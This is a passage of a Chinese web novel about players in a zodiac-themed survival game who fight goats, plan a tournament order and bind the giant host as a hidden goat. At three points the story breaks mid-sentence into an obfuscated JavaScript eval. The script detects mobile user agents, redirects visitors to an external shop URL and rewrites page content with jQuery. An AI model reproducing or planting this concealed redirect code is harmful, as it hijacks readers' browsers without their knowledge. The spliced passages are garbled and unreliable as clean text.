金乐儿家乡梁山县的斗羊比赛,同样采用一对一车轮战赛制。选手们牵引斗羊一次次以角对撞,直到其中一方的斗羊逃跑,或受伤、战死,才决出胜负。胜者将继续迎接下一只羊的挑战。 最终胜利的斗羊,往往经过多轮鏖战。 不战死誓不休,符合白羊座的特质。 “哎嘿……你别乱跑啊……”王制片大呼小叫着向云真真跑过来,黑脸羊冲在前方,低头摆出一副攻击姿态。 云真真迅速拍拍小花羊的头安抚着,拉紧缰绳带着小花羊向后退去。 王制片显然更加得意,加快进攻步伐,为数不多的几根头发在春风里悲哀地飘动起来。 “加油,小花!”云真真突然顿住脚步,重重地拍了一下小花羊的肥屁股,收紧缰绳带着小花羊奋力向前冲去。 她懂动量定理。向后退并不是害怕,而是为了更好地加速。 对面的王制片显然没有料到这一点,怔住一秒钟后面目扭曲:“你是什么东西,敢直接跟我斗!看我不割了你的羊角!” 嘭——一声沉闷的撞击声响起。两只羊的头部重重撞在一起。 黑脸羊一阵趔趄,后退着倒下了。王制片粗暴地推起它向前拉,然而黑脸羊倔强地对抗缰绳,蹄子死死钉住地面,持续增大向后退的力。 小花羊若无其事地咩咩叫着,吃起云真真手里的青草。 “你……额头青了。”丁卯托着腮看看黑脸羊,又盯着龇牙咧嘴的王制片,“我的推断没错。这个副本里,人和他绑定的羊存在紧密联系。它哪儿有病,你就哪儿有病……” “你丫才有病!碎嘴娘们儿……”王制片只好牵着一跛一破的黑脸羊,一瘸一瘸地朝大块头走去。 “怎么样,我就说这只羊不错吧!”金乐儿伸手掰开小花羊的嘴,嘿嘿一笑,“斗羊啊,得通过齿领看年龄。多吃了几年草,怎么都比没经验的愣头青厉害!你也真灵,这么快就学会了要领,可以回我们村儿参加斗羊比赛了……” “赢了给多少钱?”云真真皱眉揉着微痛的头部。 金乐儿:我就那么一说……你还真去啊? “你看那边!”云真真揉头的手停下来,指向孤零零的石羊。 大块头此时正跨坐在石羊背上,双手紧紧抓着羊角左摇右扭。 像个幼儿园的胖朋友。 7. 斗羊大赛(6) 大家的目光如聚光灯一般集中在白深身上,那理应是属于他的羊。 不知是浑然不觉还是毫不在意,白深依旧保持着双手插兜版军姿,凝视公共屏幕上的规则。 “喂,他在搞你的羊!”金乐儿忍不住扬起手拍拍他的肩,嘴巴努向大块头。 大块头又在打羊角的主意。 蜷曲的,锋利的,诱人的,已有人因此丧命的羊角。 白深终于转身朝着广场走去,气势汹汹。 “快点把羊绑定才安心!”“有话好好说,先别打架……”不知出于真心还是假意,其他玩家该劝的还是劝。 大块头把头扬得更高,“呵、哈”吼叫着,双脚一下一下踢在石羊的肚子上,挑衅道:“没人要的石羊,我玩玩怎么了?” 他的眼中掠过几抹红,空气温度似乎也随之升高。 白深迫近石羊,大块头肌肉僵紧,其他玩家屏住呼吸。 下一秒,他却直接略过。 金乐儿:熟视无睹是最好的羞辱。 脚步最终停在云真真面前。白深用下巴轻轻一点:“你,立刻跟我去送餐盘。”又环视所有玩家:“等我回来,公布全员通关方案!你们放斗羊【回归】,在营地等。” 他不容置疑的领导气质唬住了不少玩家。大家都想抱住大腿:“能全员通关最好了”“可以回去写作业啦”。 只有大块头恨得咬牙切齿。被忽视,在白羊特质重的人看来,简直是奇耻大辱。 云真真乖乖放小花羊【回归】,抱起小半摞“餐盘”,和白深并肩走在通往小白楼的路上。 她倒想看看,他到底有什么好点子。 作为智商测试结果“优秀”的人,读完规则时,她已想出了全员通关的办法。 但只是理论上的。排列组合并不是什么难题。作为变量的“人心”,才是最难掌握的部分。 更何况,她没有那么好心,要让全员通关。 善恶各有报。 两人默默走了一会儿,白深突然停下脚步:“一会儿你配合我。计划简要说明如下。首先……然后……” 就这态度?……算了。现在你是大腿,该你横。不动声色听完计划后,云真真才仰起脸讲条件:“我,凭什么要配合你?” “你……”白深直截了当,“开个价。” 洞察力挺强,一下就能切中我的要害!云真真难得给别人一个好评,也就不再伪装:“你的计划里,我风险很高。众所周知,高风险对应高回报。”随后张开狮子的血盆大口,吐出一个骇人的价格。 白深眉头微皱,薄唇紧紧抿着:“你……这……最多打六折。” “那就算了呗,各凭本事。”云真真佯装转身,俨然地摊讲价领域的一把好手。 “回来!成交。”白深咬碎了大牙。 小白楼前面静悄悄的,装修队今天没有原材料,无法施工。 巨人似乎有意提防两人,粗鲁地命令两人把餐具放在办公室里,便急着关门赶两人走。 云真真伸出全部感官触角,没有察觉到上次来让人难受的磁场,更加确定上次的“提前透露比赛规则”又是一颗争斗的种子。 “我,我想借用一下厕所。”她放心地彪演技,捂住肚子,一脸惨白地看着巨人。 “不行!外面随处是厕所。”巨人表情严肃,似乎不想多说什么。 “话这么说没错,但我们作为人类,进化到今天,讲文明讲卫生总是要的嘛。又不像那些猫啊狗啊,羊啊的。”云真真着重强调“我们”和“羊”两个字,观察着巨人的表情细微变化。 “会弄脏你的游戏场地。”白深理性帮腔。 “真是麻烦。”巨人抱怨着,向长廊左边的厕所伸手一指,“在那里。不能去其他地方,这是【规则】。” 说“其他地方”的时候,他的眼睛不自觉瞟向厕所旁边的活动室。 云真真隐蔽地和白深交换了眼神,似乎在说“白羊座果然不怎么能藏得住秘密”。 “对了,我想请教您关于【规则】的事。”白深显然很少示弱,动作表情生硬又牵强,“如果违反了【规则】,会怎么样呢?【规则】也分为游戏规则和你制定的规则吧?……” 巨人秉承着白羊座的神经大条,被他拙劣的演技吸走了注意力。 “哐当”,开门。更大的一声“哐当”,关门。巨人的耳朵前后移动,神色缓和了一些,陪着白深演戏。 云真真自然没有进入厕所,而是瞄准巨人背对自己的时机,迅速闪进厕所旁边的活动室。 明明是白天,活动室里光线却很暗,视野蒙上一层灰,只能隐约看见物体的轮廓。 浓厚粘稠的腥臭味从四面八方直冲天灵盖儿,云真真捏起鼻子,不禁想吐。一瞬间,她回忆起清理孤独死房间的惨痛经历,退堂鼓开始咚咚打了起来。 彼岸花在胸口闪动红色的光。尚未实现的目标再次发起强烈召唤。 为了它,可以头破血流,倾尽所有。眼前这些,又算什么呢? 努力让眼睛适应黑暗,只见一张巨大的“案板”摆在房间正中央,是由十几张会议条桌拼成的。桌上堆砌的不再是会议资料、保温杯或是合唱团的歌词,而是渣滓状的骨头和黏黏糊糊的东西。 “案板”旁边有一只大号蓝色塑料桶,散发出阵阵销魂气味。 云真真迅速移开视线,查看四周的墙壁。“大羊公园管理制度”“‘三防三包’责任制”等牌匾不见了。 取而代之的,是斧头、砍骨刀、锄头、电钻、锯子等一系列工具。金属表面泛着幽蓝冷光,映得人一阵阵发冷。 奇异的磁场仿佛又来了。被会议室里的磁场拖拽着,云真真愣在原地,不禁伸出手去触摸刀刃、电钻头,眼眶、眼球开始发烫,脑海中燃起一片血红色,充斥着割开、钻洞、砍断等画面和字眼,“以暴制暴”“大干一场”的冲动在沸腾翻滚。 走廊里传来由远及近的脚步声。云真真瞬间回过神来,极力压制住不理智的情绪,甚至哼起了《冲动的惩罚》。 “这是对冲~动~,最好的惩~罚!”魔性的歌声占据大脑,大脑就不被其他东西控制了。 她甩甩头,火速锁定墙上搅成一团的粗麻绳,直径约是自己那条的四五倍。 伸手去抓,粗糙的纤维刺着指尖。就是它!这就是要找的东西! “那娘儿们没搞什么花样吧,怎么还没出来?”巨人的声音越来越近,透露着兴奋,整个房间都随着心跳一齐颤动。 麻绳却在墙壁上牢牢打成死结,云真真尽力拆解,汗珠瞬间渗满额头。 活动室所有布置都摊在明面上,没有丝毫躲藏的空间。 咚咚、咚咚,带着震感的脚步近在耳边。 略显凌乱的脚步声紧跟在后。白深生硬地问着“肌肉应该怎么练”“摩托车越野”等各种白羊座感兴趣的问题,却没有拖延住巨人的步伐。 咣当!木门被重重锤开,狠狠砸在墙壁上。 巨人兴奋地喘着粗气,像发现猎物已入陷阱的猎手,在活动室快步走搜寻,眼中泛着点点红光。 桌子下方——没人。垃圾桶背后——没人。等等,窗户在微微颤动! 巨人期待地推开窗子,却再次失望。 白深站在门口停下脚步。 如同夜间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284378|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能出帐篷是【规则】,禁止进入这个房间,想必也是会引发攻击的【规则】。巨人显然正在期待有人违背这条规则。 巨人咬着牙齿不甘心地环视活动室一周,重重关上了门。 此时,旁边的女厕所传来哗啦冲水声。云真真一脸轻松走了出来。 “真是不好意思!”她双手合十又摊开,表明手上没有任何不该有的东西。 离玩家所在营地不远时,两人才停住脚步。 白深全程拉长一张脸,声音冷漠:“没拿到绳子,我不会付钱,合作结束。” 原本白深安排的作战计划第一步,是云真真偷到绳子后翻窗而出,把绳子藏在墙根下,再贴墙从女厕所翻进来。 但两人离开小白楼时,云真真并没表示要回去捡回绳子。 “你当时只看到有绳子,却没看到绳子打了死结。信息提供不全,差点害死我,这会儿想赖账?”云真真的脾气涌上了头。 “最多付你一成。”白深强忍住鄙夷之情。 “还有那么一丁丁点良心。这样吧,夜深之后,我们再行动一次,成功后再付款……” “不必了。”白深冷冷打断云真真的话,“我一个人去。你对所有人闭嘴就好。” “呵……”云真真眯起眼睛,像只狡黠的野猫,“算了。你背过身去,我尿急。” 白深怀疑起自己的耳朵,丢下一句“你自便”,甩开长腿朝着营地走去。 “喂!你帮我看着点啊?真没有绅士精神……”云真真掀起宽大的裙摆,一双肌肉线条漂亮的腿露了出来。 几秒钟之后,白深只觉脖子一紧,喉咙被毛刺刺的东西紧紧扼住了。 肌肉记忆促使他迅速禽住身后人的手臂,顺势来了一个完美漂亮的过肩摔。 “干什么啊你!我只是开个玩笑!”云真真滚在地上龇牙咧嘴。如果不是当过泰拳助教——被击打的那个角色,这尾椎骨肯定是不保了! “你……拿到手了?”白深绕下缠在脖子上的麻绳,目光瞟向云真真胸前,“哦……你是放在……” “在腰上缠了几圈!你往哪里看!!”云真真怒目圆睁,揉着尾椎骨。 “能把彼岸花当饰品的人,终归有点不一样。”白深收回目光,熟练地将麻绳缠好藏起。 原来他的目光,始终瞟的是胸前这朵鲜红的坟头花。 云真真向来习惯以最坏的恶意揣度别人,此刻知道会错了意。 她终于松了口气,公事公办:“刚才你可说了,多付我一成。” 白深皱眉:“这算敲诈。” “你让我一个女人去偷绳子,理由是女人弱,巨人防备心不重。让最弱的人冒最大的险,歧视女性玩家的账我还没跟你算……” 白深闭上眼挥手示意她闭嘴:“你是怎么解开死结的?” “快刀斩乱麻。”云真真若无其事地从裙角摸出一把沾着血渍的尖刀,“这可是白羊座副本,用白羊座的方式一定没错。” “你把工具顺出来,巨人一旦发现又是一场麻烦。”白深看不上云真真不听指挥、不按常理出牌的方式。 “白羊座神经大条,你以为他是丁卯?还有,林国庆的头骨,就活该让他用斧头刀子工具又凿又磨?”云真真拿出道德绑架。 两人早推断出巨人是一只巨型斗羊,也对巨人将林国庆老人拖走、却又对王风置之不理的原因心知肚明。 制作碗只是表面现象。真实目的,是填补羊角上的洞。 材料源于玩家全身最坚硬的部分——颅骨。 老人的骨头没填补成功,王风的又碎掉没法用,他自然期盼更多玩家的死亡。 8. 斗羊大赛(7) 一回到广场,白深立刻召集玩家集合。 金乐儿率先屁颠屁颠地过来,打着小报告:“那大块头和秃头导演,还盯着没绑定的羊呢!白深大兄弟,你可得快点绑定啊,夜长梦多……” 白深出于礼貌微笑一下,明眼人都看得出是敷衍。见人已全部到齐,开始宣布全员存活方案。 “按照规则,大家随机上去比试,肯定会出现一个人连着赢多个人的情况。最终结果就是有人得到几对羊角通关游戏,有人输得命都不剩。” “因此,全员通关这场游戏的关键之一,就是控制上场顺序,并决定输赢。A先上场输给B,B得到羊角后输给C,C再输给D……直到最后一个人上场。这时只有A没有羊角。A用无角羊去挑战最后一人,最后一人输给A。像衔尾蛇那样,完美闭合。” 丁卯沉吟片刻,迅速提出问题:“我有三点疑问。第一,最后一人即使故意放水,无角羊也很难赢过有角羊。第一个上场的A,风险最大。第二,上场顺序采用抽签的方式,怎么能随心所欲地控制顺序?第三,即使顺序确定,又怎么能保证C一定愿意输给D,万一C反水,整个局就彻底崩了……” “还有还有,巨人也会参战呀!在他之后上场的人,肯定完都完蛋!”金乐儿也发现了华点。 “第一个问题不用考虑,我就是A。专门负责上场输掉比赛,双手奉上羊角。”云真真潇洒地站了起来。 “妹子,你是不是这里有问题?”金乐儿一脸不可思议,指了指自己乱蓬蓬的黄毛脑袋。 云真真挤了下眼睛,指指胸前的血红色彼岸花:“坟头花都敢挂,怕啥!” 金乐儿还不够了解她,她从来不做亏本买卖。 “至于巨人,我会确保他最后一名出场。那个时候,除了云真真之外,大家都已经有了一对羊角……”白深继续解决问题。 “我不同意。”大块头气势汹汹地站起来,“那句话怎么说来着?能者多得。我有实力,凭什么不能多得几副羊角?谁不知道任务物品越多,奖励越丰厚。” 王制片捂着淤青的眼睛频频点头。 本场游戏【3】号玩家向您分享面板信息,是否同意? 所有玩家的个人面板亮起。不知道他葫芦里卖的什么药,玩家们都点击了是。 【星座道具:秩序重置】 【作用:在有先后顺序的游戏中,可提前1小时对所有玩家进行排序。只可使用一次。 处女座可不喜欢杂乱无章的世界哦!】 【来源:处女副本4】 【所有者:3号玩家白深——已绑定】 【状态:未使用】 大块头连续读了两遍物品作用,脸色阴晴不定,显然十分不甘心。 星座游戏开始的时间不长,道具有多少种、是不是平衡,还没有统一数据。 云真真察觉到他游移的神色后推断:如果有【秩序重置】,说不定就有秩序破坏、秩序捣乱,甚至抵消道具效果的反道具。 这种道具也许就揣在大块头的口袋中。 “这位大哥,你是不是对这个道具不够满意?”云真真想着白深答应她的不菲报酬,主动出招,“我还有好几个,你可以帮我挑挑。我这还有指定某位玩家的输赢的道具,和让他直接退出游戏的道具……” 大块头被赤裸裸地威胁,有苦说不出,只能捏紧拳头,脸涨得通红。 “真真妹子,你不厚道了啊。”金豆儿用手掌圈住嘴巴说小话,“你说你是个新人,怎么会有道具?我玩了3场游戏,一个响屁都没有!再说,你说的道具一看就是假的,也太强力了,破坏平衡……” “嘘!”云真真使了个眼色,悄声道,“兵不厌诈。” 总归有点作用。大块头不再言语,其他玩家们也主动讨论起出场顺序该怎么排。 大块头终于识相地加入讨论:“我这只斗羊,打谁谁不跪!让我主动输掉比赛,得找一个最强的人。当然了,如果能找得到的话……” 王制片为虎作伥:“说得对,说得对!我肯定打不过你,别把我排在你后面啊……” 白深在热烈讨论的烈火中浇上一盆冷水:“顺序已经定好,所有人照做。云真真1,王制片2,大块头3,金乐儿4,阿姨5,初中生6,小助理7,丁卯8,朱柔9,我10。斗羊技术方面,去请教金乐儿,他会教大家如何训练斗羊输掉或赢得比赛。” 故意输给一个乡下非主流小子?大块头鼻子里“哼”一声,斜着眼睛打上下打量金乐儿,两根食指竖在头上,吐出舌头做出顶撞的姿态。 “幼稚。”金乐儿一屁股躺在草地上,双手抱头,翘着二郎腿摇晃着脚,哼起小曲。 “受到白羊座‘孩子气、幼稚’特质的影响,幼稚的玩家会更幼稚。”丁卯边记录边点头,末了又加上一笔,“该玩家自述为白羊座,成人、体壮,如果不是受到副本属性影响,怎么也不至于作出骑大马、做鬼脸等孩童行为。” 其他玩家默默思忖顺序。从第二个上场的人开始,每人须比赛两场,先赢后输。 目前的排序,前一个人要么愿意配合主动输掉,要么大概率打不过后一个人,不得不看作良策。 玩家们纷纷放下心来。有的在营地里补觉,有的欣赏起虚拟春光。 一夜未睡的初中生终于合上双眼。梦里,他终于回到家,坐在杂乱的书桌前,奋笔疾书地做上了作业。 谁知刚做到第二道大题,就被石羊广场方向传来的异响惊醒。 营地附近的玩家们面面相觑,发现大块头和王制片两个人不见了。 “还没到天黑,羊怎么就狂暴了?”金乐儿双手快速搓脸醒觉,竖起耳朵听着纷乱惊慌的羊蹄声和时断时续的呻吟声。 白深疾步朝石羊广场走去。 其余玩家都选择跟上。不是因为担心那两个人,而是担心自己的斗羊是否安全。 一到广场,云真真强忍着没笑出声来。 王制片整个人趴在地上,正在被【激活】状态的羊拖行。他的裤腰已经滑到膝盖,漏出一条破洞红内裤。 大块头正绕着石羊广场飞速跑圈,气喘如牛。身后另一只斗羊眼睛血红,不停蹄地追赶着他。 “喂,那是你的小花羊!”金乐儿指向拖行王制片的羊,激动地推着云真真。 “他怎么能激活你的羊?”丁卯把笔记本准确地翻到“巨人的话”那一页,朝着王制片不紧不慢地说,“你把绳子抓那么紧干什么?想【回归】就得解开缰绳。” “不,不行……”王制片狼狈地抓住掉了一半的裤子,试图往上提,“绳子在我手腕上,缠成了……死……结……痛、痛、痛死了……” “哦,这样啊。不过还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284379|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谢谢你给我提供资料支持。”丁卯又记下一笔:用自己的缰绳可以【激活】别人的羊,但是控制不了。(自取灭亡) 大块头把粗气喘成了老黄牛:“别他妈念了……也救……救我……” 白深闪到云真真身边,命令道:“我去解缰绳,你牵住羊,让它【回归】。” “救了他,就没有新碗。没有新碗,巨人就不会送饭。肚子饿,没力气。”云真真仰起脸认真思考状,音量不大不小,恰好让所有玩家都能听清楚。 “真真……再这样下去,他俩很快就变新碗了。别人我不知道,即使有了新碗,我也不敢用……都是玩家,就救救他们吧。”朱柔抓住塑造善良人设的机会。 白深精准打击:“事成才能付全款”。话毕敏捷地骑上小花羊的背,三下五除二解开了羊角端缰绳。 云真真顿时觉得自己比小花羊好不了多少,为了金钱任由白深牵着走。 “靠!这身手,练家子啊!他是军校还是体校的来着?还是秘密组织的敢死队队员?或者也会马术?”金乐儿瞪大了双眼,“很有可能,听说有钱人家的小孩从小就学骑马!” 王制片终于得救,滚到角落里哆哆嗦嗦地系着磨破的裤子。 白深再次施展轻功,冲刺助跑,飞身一跃,稳稳骑在追赶大块头的斗羊背上,试图控制住斗羊。 云真真的小花羊没人管,仍处于暴走状态,红着眼扬起蹄再次向王制片奔去。 王制片奄奄一息,无力再跑。正心如死灰时,云真真解法吹了一声口哨,慢条斯理地晃着缰绳走向小羊。 绑定过的花羊显然认得主人,逐渐安静下来。云真真顺势牵住羊角,带它【回归】。 “谢谢……今后拍戏,我给你加钱……”王制片吐出几个字。 云真真目不斜视,抬脚掠过了他的头。 “你动人家的羊干什么?这就是偷鸡不成蚀把米!”金乐儿叉腰瞪着王制片,“已经商量好了方案,还要搞小动作阴人!活该!” “不是……”大块头好容易摆脱了追击,跪在地上大口喘着气辩解,“追我……那只羊……没人绑定……我们就想试试……能不能提前搞到羊角……” 但那只无主羊,大家都默认是白深的。 此刻,白深已经跃下羊背,轻松跑在无主羊前方,引导着它的路线。一双长腿已经跑出了视觉残留,体力却看不出丝毫减弱。 “他应该是打算绑定那只羊了。” “早点绑定不就好了吗,这么多麻烦……” 眼看无主羊即将被引到【回归】地点,玩家们多多少少松了一口气。 “白羊座副本,急躁特质被放大,有玩家试图冒着高风险提前获得羊角。”丁卯正奋笔疾书,猛然一惊,“不对!被绑定的斗羊才能【回归】。这只羊没有被绑定,也不是正常【激活】,也不一定能正常【回归】……” “那怎么办?就让它一直狂暴追着人跑?” “白深一个人就能搞定,我看他连续跑一天一夜完全不成问题……” “就是就是……他一直说要带领大家全员存活,这点小事他能搞定……吧……” 玩家们轻率地决定了白深的命运,在他不在场的情况下。 云真真冷笑:大家也没比我善良到哪里去。 只有白深一人受伤的世界达成了。 9. 斗羊大赛(8) 石羊雕塑挤挤挨挨地竖立在广场中心,那是斗羊的回归地,更是玩家们的心安之处。 无主羊踏上回归地,大家集体屏住呼吸。 无主羊轻松地跑过回归地,如丁卯的“乌鸦嘴”所说,并没有【回归】。 白深见状,突然掉头,再次引导无主羊向回归地跑去。 眼看就要撞上石羊雕塑群,他侧身一闪,绕到旁边去了。 无主羊却没那么灵活,高速撞上石羊群。 低沉而强烈的撞击声后,无主羊直挺挺地倒在地上,一动不动。 “八成撞死了。”金乐儿拍着大腿第一个走上前,翻开羊的眼皮、又试探鼻息,“我们村的斗羊比赛,也常有当场撞死的。可惜了可惜了……” 云真真伸手抓住羊角,暗戳戳向下掰。指尖处传来的粗糙又略带弹性的质感陡然发生变化。 从羊角尖开始,染血的羊头、僵硬的羊身、圆圆的羊尾巴……死去的斗羊一寸一寸染上灰白色,【回归】成雕塑。 “原来,死也是一种【回归】……”丁卯若有所思。 “不【激活】它,就根本不存在【回归】这回事。”云真真恋恋不舍地松开手。 “白羊座是第一宫,能表示开始状态。比如人的出生、一件事的开始、斗羊的激活等等新开始、新事物。”丁卯点点头,“人类嘛,同理,总归要死的。总不能因为要死,就不出生。” “花终究会凋谢,不开也是很好的选择。”云真真轻抚着绒布花。 把它做成假的,它才能永恒。 “打啥哑谜?深奥了,听不懂……”金乐儿话音未落,一道道裂痕在从石羊的尾巴、头部、羊蹄等浮现,整个雕塑继而彻底粉碎。 尤其是头部、羊角,直接成了粉末状。 玩家们感情复杂地看向白深。 好比老师命令一个没背下课文的学生罚站,其他同学一边同情他,一边庆幸抽到的不是自己,一边也想着“自己没背该自己负责”。 “你……没有斗羊,明天怎么办?”中学生张大嘴巴,“考卷都撕碎了,怎么能得到好成绩?” “我又不是学生,不用考试。”白深轻描淡写,向云真真投去一个意义不明但显然不友善的眼光。 云真真心领神会:这是怕我提前得到羊角,破坏他的全盘计划呢。小气了。并且把我也看小了。 “我不过摸了一下羊角。它撞死、碎掉,是你引导的,跟我没一分钱关系!” “哎呀呀……”金乐儿试图缓解有些紧张的气氛,指着加速西沉的太阳,“这时间咋过得这么快呢?肚子咕咕叫,巨人也不给饭!现在想想,即使是一盆草,我也能嚼得嗷嗷香……” “你很敏锐。”丁卯蹲在地上,指着插在地上的小树枝,“它的影子,肉眼可见在拉长。时间流速加快了。这就代表,巨人已经不耐烦了。白羊座的耐心十分有限……” “这么说,今天不会有饭了么?”金乐儿连连摇头。 “新饭碗都没有,饭自然没有了。”云真真双手抱胸,盯着王制片和大块头,“其实……本来应该有的,还是两个。” 大块头刚扬起拳头,却发现光线在迅速变暗,云真真那张讨厌的脸已经染上一层灰光。 太阳在地平线处,只剩下大约一半。 “快进帐篷。规则应该和昨晚一样。”丁卯说着,大步向帐篷走去,“那个胖子,你也快点。” “你说谁胖,碎嘴婆!妈的,还得跟他睡一夜……”大块头骂骂咧咧,身体却很诚实地跟在丁卯身后。 无论有多大仇多大怨,大家还是纷纷按照昨晚的安排迅速钻入帐篷。 云真真的帐篷门口,朱柔突然拉住白深,眼神脆弱,声音易碎:“我……我能和你一顶帐篷吗?我一个人,挺怕的。我是计划里的一环,而且你们三个人一顶帐篷,也很挤……” 云真真冷笑一声,推着金乐儿钻入帐篷,又立刻把帐篷门拉得严严实实,伸着懒腰躺下。 “不等他了?你就那么确定,那小子会和那满嘴谎话的女人一起睡?”金乐儿好奇地看着云真真,“啊呸,是睡一顶帐篷。那女的……长得还行,但她是个蛇蝎美人啊,连男朋友都害!” “他那个人,怜香惜玉的,谁都想救呢。”云真真合上双眼,声音越来越轻,“再说了,他满身心眼儿,谁能害他啊……” “有道理。白深这个人是挺怪,冷着一张脸救全员,一点也看不出他喜欢其他人来,也不知道图个啥……”金乐儿仰面躺下晃着脚,十分休闲,“还有,白天你和丁卯说起【回归】的事,让我好一顿想。” “我们村有斗羊传统,强行训练它们,强行让他们比赛,这是不是就是一种【激活】……” “啊对了,这回你能告诉我,咋用无角羊打赢比赛了吧……也不知道今天晚上会不会死人……哎哟哟,肚子好饿,你不饿吗?” 云真真在连珠炮一样的话语中鼻息均匀,已然睡熟。 比赛日的太阳终于升起。欢快的鸟鸣声中,10个玩家齐聚在石羊广场上,昨夜没有人作死。 “通关游戏之后,又能给院里提交打底5万字的分析报告。”丁卯心情很好,拍着初中生的头,“你呀,也能好好写作业了……” 按照计划,除云真真和白深两人,其他人都能顺利得到羊角,气氛比较轻松。金乐儿甚至哼起了《回家》。 一片祥和之中,有一个眼神忽明忽暗,源于朱柔。 那是轻蔑而暗藏恶意的眼神,云真真并不陌生。但现在还没到解决的时候。 大屏幕已经亮起: 【横空出生,炽烈而战!燃烧吧,斗羊! “星座杯”第三届斗羊大赛正式开始! 现在进行第一项:抽签】 “啊?这是谁设计的解说词?又中二又羞耻,我一个真正的初中二年级生都尴尬了……”初中生话音未落,公屏里播放出运动会入场式的进行曲。 初中生不自觉地哼着哼着,原地踏步走了起来。 “你条件反射啊?”丁卯难得微笑看着初中生,“和巴浦洛夫的狗一个道理……” “啊?我踏步有这么大威力?”初中生疑惑地看着脚下,地面似乎在随着自己的脚步节奏微微颤动。 震动显然不源于瘦弱的他。 巨人精神抖擞地拖着圆桌面逐渐走近,咚、咚脚步声踏在大家心上。 纵然有方案,却还是难以避免不安。 “抽签!”巨人把圆桌面扔在地上,指向扣在大圆盘上的“碗”,“数字序号写在碗底,把碗翻过来就行了!” 大块头率先抓起一个碗翻过来,见碗底印着血红色的数字“3”。他挑挑眉头,耸下肩膀,毫不意外,又有些失望。 刚才,玩家们都收到了3号玩家白深使用道具的信息,即将抽到序号被安排得明明白白。大块头是3号。 “不对!我们有10名玩家,加上你1个,一共11人,你却只带了10个碗!”丁卯的细致观察再次生效。 历史总是惊人的相似。和平年代彼此相爱,僧多肉少时头破血流。 玩家们肩膀挤着后脚跟,疯狂抢“碗”,丝毫不在意它的材质和散发出的阵阵腥臭。 之前明明是恐惧、嫌弃与恶心。 只剩下白深面无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284380|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情地伫立在巨人身旁。 巨人居高临下地笑着:“这位玩家连斗羊都没有绑定,没准备他的签!游戏结束后,自然会清算。” 此刻,圆桌面上只剩下孤零零一个白骨碗,和一把闪着寒光的砍骨刀。 玩家们抱紧怀中的头骨碗,把目光聚焦到白深和巨人身上。 巨人仿佛故意表演给白深看,动作缓慢而精致,一寸一寸弯下腰,一点一点张开大手,慢慢接近最后那只碗。 咕噜、咕噜……惨白的碗突然飞速滚动起来,掀翻了巨人的小剧场。 巨人暴起,眼里翻涌一片血红,怒视始作俑者云真真:“你……干什么!干扰游戏者要受到惩罚!” “对不起,我不小心踢到了……”云真真仰起脸,摸着后脑勺讪笑。 然而大家看得清清楚楚:她所谓的“不小心”是指勾起右脚,瞄准一番之后才重重踢出去,甚至做出几个预踢动作。 巨人刚要去追碗,却感觉到宽厚的背左一下右一下被踩踏着。 谁在用我的身体攀岩?上一波愤怒仍在翻涌,下一波便接踵而至。 “帽子,我的帽子……”白色的厨师帽已经被粗暴地摘下,重重扔在地上。 巨人下意识抱住头部,喉间挤出低哑的嘶吼。 “攀岩者”白深攀在巨人背上,钢铁一般的双臂硬生生将巨人的双手从头上掰了下来。 一双巨大而坚硬的赭石色卷曲羊角赫然在目。右角的中下部露出一个洞,而左角的洞内被塞满灰白色东西,十分突兀。 众人还没分析出所以然,白深已经将洞内的填充物捅出来,又精准地将一根缰绳穿过右角上的洞。 公屏闪动起来:【主理人角部露出空洞,被识别为隐藏斗羊——白羊王! 恭喜3号玩家白深与隐藏斗羊【白羊王】成功绑定! 因主理人已被识破为斗羊,比赛将越过原始斗争模式,直接采用博弈斗争模式!】 塞在白羊王角内的圆柱形物质滚落在地。金乐儿捡起来翻来覆去地看:“这是啥?” “骨头。还有点骨质疏松。”丁卯瞥了一眼。 金乐儿触电一样扔回地上。 “果然如此!我推断出巨人是斗羊,但却没有找到要绑定他所的东西——缰绳、体力和时机。你们是在哪里找到的缰绳?”丁卯飞速地在笔记本上画着巨人此刻的模样——其他斗羊的两倍大。 “博弈斗争……代表什么?”云真真没空解释。出现的新情况并不在计划之列。 万一……有变数,只有见机行事。 “博弈,最初就是指下棋。现代社会,就是博弈参与者充分收集信息、权衡利弊,独立做出选择,取得最大收益的过程。”丁卯轻车熟路地解释分析,“斗羊比赛展开博弈,可以博顺序,比如‘田忌赛马’……” “顺序早就固定好了,不用担心!”金乐儿一如既往地乐观。 “我大概猜到了。”云真真轻抚彼岸花瓣,“原始斗争模式里,我们的策略是通过牵引缰绳、拍屁股等常规训羊方式控制羊的输赢。而这博弈模式……” 白羊王痛苦的怒吼声打断了云真真。 他曾高大伟岸,压迫感十足,走到哪里便投下一片阴影。 